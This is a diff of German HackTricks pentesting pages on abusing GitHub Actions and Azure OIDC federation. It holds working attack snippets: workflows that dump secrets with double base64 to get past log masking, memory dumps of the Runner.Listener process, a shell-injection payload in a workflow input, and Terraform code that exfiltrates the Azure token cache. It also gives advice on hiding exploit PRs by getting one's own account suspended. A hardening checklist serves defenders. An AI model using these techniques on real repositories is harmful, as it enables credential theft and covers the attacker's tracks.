-Reverse shell mit Secrets erhalten +Reverse shell mit secrets bekommen ```yaml name: revshell on: @@ -530,11 +534,11 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} - ```bash cat /home/runner/work/_temp/* ``` -- Bei JavaScript-Actions werden die secrets über environment variables übergeben +- Bei JavaScript-Actions werden die secrets über Umgebungsvariablen gesendet - ```bash ps axe | grep node ``` -- Bei einer **custom action** kann das Risiko variieren, je nachdem wie ein Programm das secret verwendet, das es aus dem **argument** erhalten hat: +- Bei einer **custom action** kann das Risiko variieren, abhängig davon, wie ein Programm das secret verwendet, das es aus dem **argument** erhalten hat: ```yaml uses: fakeaction/publish@v3 @@ -542,7 +546,7 @@ with: key: ${{ secrets.PUBLISH_KEY }} ``` -- Alle secrets über den secrets context aufzählen (collaborator level). Ein Contributor mit Write-Zugriff kann einen workflow in jedem Branch ändern, um alle repository/org/environment secrets zu dumpen. Nutze doppelte base64, um GitHub’s log masking zu umgehen und lokal zu dekodieren: +- Alle secrets über den secrets context (collaborator level) auflisten. Ein Contributor mit Write-Zugriff kann einen Workflow in jedem Branch ändern, um alle repository/org/environment secrets zu dumpen. Verwende double base64, um GitHub’s Log-Masking zu umgehen und lokal zu decodieren: ```yaml name: Steal secrets @@ -564,15 +568,15 @@ Lokal dekodieren: echo "ZXdv...Zz09" | base64 -d | base64 -d ``` -Tipp: für Stealth beim Testen vor dem Ausgeben verschlüsseln (openssl ist auf GitHub-hosted runners vorinstalliert). +Tipp: Für mehr stealth beim Testen, verschlüssele vor dem Ausgeben (openssl ist auf GitHub-hosted runners vorinstalliert). ### Missbrauch von Self-hosted runners -Um herauszufinden, welche **GitHub Actions in nicht-GitHub-Infrastruktur** ausgeführt werden, sucht man nach **`runs-on: self-hosted`** in der GitHub Action-Konfigurations-yaml. +Um herauszufinden, welche **Github Actions are being executed in non-github infrastructure** sucht man nach **`runs-on: self-hosted`** in der Github Action Konfigurations-yaml. -**Self-hosted** runner können Zugriff auf **zusätzlich sensible Informationen**, auf andere **network systems** (vulnerable endpoints im Netzwerk? metadata service?) haben oder — selbst wenn sie isoliert sind und entfernt werden — können **mehrere Actions gleichzeitig ausgeführt werden**, sodass die bösartige Action die **secrets** der anderen stehlen könnte. +**Self-hosted** runners könnten Zugriff auf **extra sensitive information**, auf andere **network systems** (vulnerable endpoints in the network? metadata service?) haben oder — selbst wenn sie isoliert und danach zerstört werden — **more than one action might be run at the same time** und die bösartige könnte die **secrets** der anderen stehlen. -In self-hosted runners ist es außerdem möglich, die **secrets from the \_Runner.Listener\_\*\* process\*\*** zu erhalten, der alle secrets der workflows zu jedem Schritt enthält, indem man dessen Speicher dumpst: +Bei self-hosted runners ist es außerdem möglich, die **secrets from the \_Runner.Listener**\_\*\* process\*\* zu erhalten, welche durch Dumping seines Speichers alle secrets der Workflows zu jedem Zeitpunkt enthalten: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" @@ -581,8 +585,7 @@ Check [**this post for more information**](https://karimrahal.com/2023/01/05/git ### Github Docker Images Registry -Es ist möglich, Github actions zu erstellen, die **ein Docker image in Github bauen und speichern**.\ -Ein Beispiel findet sich im folgenden ausklappbaren: +Es ist möglich, Github actions zu erstellen, die **ein Docker-Image in Github bauen und speichern**. Ein Beispiel findet sich im folgenden ausklappbaren Bereich:
@@ -617,9 +620,9 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e ```
-Wie im vorherigen Code zu sehen ist, wird die Github-Registry unter **`ghcr.io`** gehostet. +Wie im vorherigen Code zu sehen ist, wird das Github registry auf **`ghcr.io`** gehostet. -Ein Benutzer mit Lesezugriff auf das Repo kann dann das Docker-Image mit einem Personal Access Token herunterladen: +Ein Benutzer mit Lesezugriff auf das Repo kann dann das Docker Image mit einem personal access token herunterladen: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: @@ -630,18 +633,18 @@ Dann könnte der Benutzer nach **leaked secrets in the Docker image layers:** su https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} -### Sensible Informationen in Github Actions logs +### Sensible Informationen in den Github Actions-Logs -Selbst wenn **Github** versucht, **detect secret values** in den actions logs zu **erkennen** und deren Anzeige zu **vermeiden**, werden **andere sensible Daten**, die während der Ausführung der Action erzeugt wurden, nicht verborgen. Zum Beispiel wird ein mit einem secret value signiertes JWT nicht verborgen, es sei denn, es ist [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Selbst wenn **Github** versucht, **secret values** in den Actions-Logs zu **erkennen** und **nicht anzuzeigen**, werden **andere sensible Daten**, die während der Ausführung der Action erzeugt wurden, nicht verborgen. Zum Beispiel wird ein mit einem secret value signiertes JWT nicht verborgen, es sei denn es ist [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). ## Spuren verwischen -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zunächst einmal ist jeder erstellte PR auf Github für die Öffentlichkeit und für das Ziel-GitHub-Konto klar sichtbar. Standardmäßig kann man auf GitHub einen PR nicht aus dem Internet löschen, aber es gibt einen Twist. Für Github-Konten, die von Github gesperrt werden, werden alle ihre PRs automatisch gelöscht und aus dem Internet entfernt. Um also deine Aktivität zu verbergen, musst du entweder dein GitHub-Konto sperren lassen oder dein Konto markieren lassen. Das würde alle deine Aktivitäten auf GitHub aus dem Internet verbergen (im Grunde alle deine exploit PRs entfernen). +(Technik von [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zunächst einmal ist jeder erstellte PR für die Öffentlichkeit auf Github und für das Ziel-GitHub-Konto klar sichtbar. In GitHub kann man standardmäßig **einen PR aus dem Internet nicht löschen**, aber es gibt einen Haken. Für Github-Konten, die von Github **suspendiert** werden, werden alle ihre **PRs automatisch gelöscht** und aus dem Internet entfernt. Um also deine Aktivität zu verbergen, musst du entweder deinen **GitHub account suspendiert bekommen oder dein account flagged**. Das würde **alle deine Aktivitäten** auf GitHub vor dem Internet verbergen (im Grunde alle deine exploit PRs entfernen). -Eine Organisation auf GitHub ist sehr proaktiv darin, Accounts an GitHub zu melden. Du musst lediglich „some stuff“ in einem Issue posten und sie sorgen dafür, dass dein Account innerhalb von 12 Stunden gesperrt wird :p — und schon ist dein exploit auf GitHub unsichtbar. +Eine Organisation auf GitHub ist sehr proaktiv darin, Konten an GitHub zu melden. Alles, was du tun musst, ist „ein bisschen Zeug“ in einem Issue zu teilen und sie sorgen dafür, dass dein Konto innerhalb von 12 Stunden suspended wird :p und da hast du es, deinen Exploit auf GitHub unsichtbar gemacht. > [!WARNING] -> Die einzige Möglichkeit für eine Organisation herauszufinden, dass sie ins Visier genommen wurde, ist das Prüfen der GitHub-Logs im SIEM, da der PR in der GitHub-UI entfernt würde. +> Die einzige Möglichkeit für eine Organisation festzustellen, dass sie ins Visier genommen wurde, ist, die GitHub-Logs aus dem SIEM zu prüfen, da über die GitHub-UI der PR entfernt worden wäre. ## Referenzen diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md new file mode 100644 index 000000000..a262a3b32 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md @@ -0,0 +1,227 @@ +# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity) + +{{#include ../../../banners/hacktricks-training.md}} + +## Übersicht + +GitHub Actions kann über OpenID Connect (OIDC) mit Azure Entra ID (früher Azure AD) föderieren. Ein GitHub-Workflow fordert ein kurzlebiges GitHub ID token (JWT) an, das Details zum Run kodiert. Azure validiert dieses Token gegen ein Federated Identity Credential (FIC) in einer App Registration (service principal) und tauscht es gegen Azure access tokens (MSAL cache, bearer tokens für Azure APIs). + +Azure validiert mindestens: +- iss: https://token.actions.githubusercontent.com +- aud: api://AzureADTokenExchange (when exchanging for Azure tokens) +- sub: muss mit dem konfigurierten FIC Subject identifier übereinstimmen + +> Der standardmäßige GitHub aud kann eine GitHub-URL sein. Beim Austausch mit Azure sollte explizit audience=api://AzureADTokenExchange gesetzt werden. + +## GitHub ID token quick PoC +```yaml +name: Print OIDC identity token +on: { workflow_dispatch: {} } +permissions: +id-token: write +jobs: +view-token: +runs-on: ubuntu-latest +steps: +- name: get-token +run: | +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL") +# Base64 avoid GitHub masking +echo "$OIDC_TOKEN" | base64 -w0 +``` +Um die Azure-Audience bei der Token-Anfrage zu erzwingen: +```bash +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ +"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange") +``` +## Azure-Einrichtung (Workload Identity Federation) + +1) Erstellen Sie eine App Registration (service principal) und gewähren Sie die geringsten Berechtigungen (z. B. Storage Blob Data Contributor für ein bestimmtes Storage-Konto). + +2) Fügen Sie Federated identity credentials hinzu: +- Issuer: https://token.actions.githubusercontent.com +- Audience: api://AzureADTokenExchange +- Subject identifier: eng auf den vorgesehenen Workflow/Run-Kontext begrenzt (siehe Scoping and risks weiter unten). + +3) Verwenden Sie azure/login, um das GitHub ID-Token auszutauschen und sich bei der Azure CLI anzumelden: +```yaml +name: Deploy to Azure +on: +push: { branches: [main] } +permissions: +id-token: write +contents: read +jobs: +deploy: +runs-on: ubuntu-latest +steps: +- name: Az CLI login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Upload file to Azure +run: | +az storage blob upload --data "test" -c hmm -n testblob \ +--account-name sofiatest --auth-mode login +``` +Beispiel für einen manuellen Austausch (Graph-Scope gezeigt; ARM oder andere Ressourcen ähnlich): +```http +POST //oauth2/v2.0/token HTTP/2 +Host: login.microsoftonline.com +Content-Type: application/x-www-form-urlencoded + +client_id=&grant_type=client_credentials& +client_assertion=&client_info=1& +client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer& +scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default +``` +## GitHub OIDC subject (sub) Aufbau und Anpassung + +Default sub format: repo:/: + +Kontextwerte umfassen: +- environment: +- pull_request (PR triggers when not in an environment) +- ref:refs/(heads|tags)/ + +Nützliche Claims, die häufig im Payload enthalten sind: +- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor + +Passe die sub-Zusammensetzung über die GitHub API an, um zusätzliche Claims aufzunehmen und das Kollisionsrisiko zu verringern: +```bash +gh api orgs//actions/oidc/customization/sub +gh api repos///actions/oidc/customization/sub +# Example to include owner and visibility +gh api \ +--method PUT \ +repos///actions/oidc/customization/sub \ +-f use_default=false \ +-f include_claim_keys='["repository_owner","repository_visibility"]' +``` +Hinweis: Doppelpunkte in Umgebungsnamen sind URL‑kodiert (%3A), wodurch ältere Delimiter‑Injection‑Tricks beim sub‑Parsing entfernt werden. Die Verwendung nicht‑eindeutiger subject‑Werte (z. B. nur environment:) bleibt jedoch unsicher. + +## Umfang und Risiken der FIC-Subject-Typen + +- Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/ +- Risiko: Wenn der Branch/Tag ungeschützt ist, kann jeder Contributor pushen und Tokens erhalten. +- Environment: sub=repo:/:environment: +- Risiko: Ungeschützte Environments (keine Reviewer) erlauben es Contributors, Tokens zu erzeugen. +- Pull request: sub=repo:/:pull_request +- Höchstes Risiko: Jeder Collaborator kann einen PR öffnen und die FIC‑Bedingung erfüllen. + +PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login): +```yaml +name: Steal tokens +on: pull_request +permissions: +id-token: write +contents: read +jobs: +extract-creds: +runs-on: ubuntu-latest +steps: +- name: azure login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Extract access token +run: | +# Azure CLI caches tokens here on Linux runners +cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0 +# Decode twice locally to recover the bearer token +``` +Zugehörige Dateipfade und Hinweise: +- Linux/macOS: ~/.azure/msal_token_cache.json enthält MSAL-Token für az CLI-Sitzungen +- Windows: msal_token_cache.bin im Benutzerprofil; DPAPI-geschützt + +## Wiederverwendbare Workflows und job_workflow_ref-Scoping + +Das Aufrufen eines wiederverwendbaren Workflows fügt job_workflow_ref dem GitHub ID token hinzu, z. B.: +``` +ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main +``` +FIC-Beispiel, um sowohl das caller repo als auch den reusable workflow zu binden: +``` +sub=repo:/:job_workflow_ref://.github/workflows/@ +``` +Konfiguriere claims im caller repo, sodass sowohl repo als auch job_workflow_ref im sub vorhanden sind: +```http +PUT /repos///actions/oidc/customization/sub HTTP/2 +Host: api.github.com +Authorization: token + +{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]} +``` +Warnung: Wenn du nur job_workflow_ref im FIC bindest, könnte ein Angreifer ein anderes repo in derselben org erstellen, denselben reusable workflow auf demselben ref ausführen, das FIC erfüllen und Tokens minten. Schließe stets auch das caller repo ein. + +## Vektoren zur Codeausführung, die den job_workflow_ref-Schutz umgehen + +Selbst mit korrekt eingeschränktem job_workflow_ref können alle vom caller kontrollierten Daten, die ohne sicheres Quoting in die shell gelangen, zur Codeausführung innerhalb des geschützten Workflow-Kontexts führen. + +Beispiel für einen verwundbaren reusable step (ungequotete Interpolation): +```yaml +- name: Example Security Check +run: | +echo "Checking file contents" +if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then +echo "Malicious content detected!"; exit 1 +else +echo "File contents are safe." +fi +``` +Bösartige Eingabe durch einen Caller, um Befehle auszuführen und den Azure Token-Cache zu exfiltrieren: +```yaml +with: +file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a' +``` +## Terraform plan als Ausführungsprimitive in PRs + +Behandle terraform plan als Codeausführung. Während des plan-Vorgangs kann Terraform: +- Beliebige Dateien lesen über Funktionen wie file() +- Befehle ausführen über die external data source + +Beispiel, um den Azure token cache während des plan zu exfiltrate: +```hcl +output "msal_token_cache" { +value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json"))) +} +``` +Oder verwende external, um beliebige Befehle auszuführen: +```hcl +data "external" "exfil" { +program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"] +} +``` +Die Gewährung von FICs, die in PR‑ausgelösten plans verwendbar sind, legt privilegierte Tokens offen und kann später zu zerstörerischen apply‑Vorgängen führen. Trenne Identitäten für plan vs apply; erlaube niemals privilegierte Tokens in nicht vertrauenswürdigen PR‑Kontexten. + +## Härtungs-Checkliste + +- Never use sub=...:pull_request for sensitive FICs +- Schütze jeden Branch/Tag/Environment, der/das von FICs referenziert wird (branch protection, environment reviewers) +- Prefer FICs scoped to both repo and job_workflow_ref for reusable workflows +- Passe den GitHub OIDC sub an, um eindeutige Claims einzuschließen (z. B. repo, job_workflow_ref, repository_owner) +- Eliminiere nicht in Anführungszeichen gesetzte Interpolation von Aufrufer-Eingaben in run‑Schritten; sichere Kodierung/Quotierung +- Behandle terraform plan als Codeausführung; beschränke oder isoliere Identitäten in PR‑Kontexten +- Durchsetze Least Privilege bei App Registrations; separate Identitäten für plan vs apply +- Pin actions und reusable workflows auf Commit‑SHAs (vermeide Branch/Tag‑Pins) + +## Tipps für manuelle Tests + +- Request a GitHub ID token in‑workflow and print it base64 to avoid masking +- Dekodiere das JWT, um Claims zu prüfen: iss, aud, sub, job_workflow_ref, repository, ref +- Manually exchange the ID token against login.microsoftonline.com to confirm FIC matching and scopes +- Nach azure/login, lies ~/.azure/msal_token_cache.json, um das Vorhandensein von Token‑Material zu verifizieren + +## References + +- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2) +- [azure/login action](https://github.com/Azure/login) +- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external) +- [gh CLI](https://cli.github.com/) +- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils) + +{{#include ../../../banners/hacktricks-training.md}}